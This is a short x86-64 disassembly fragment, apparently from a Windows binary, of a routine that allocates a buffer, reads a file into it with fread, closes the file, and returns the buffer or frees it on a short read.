call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140003133
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x140003120
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140190f00]
test rax, rax
je 0x140003115
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000313c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14000312e
mov qword [r14], rdi
mov rax, rsi
jmp 0x14000313e
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret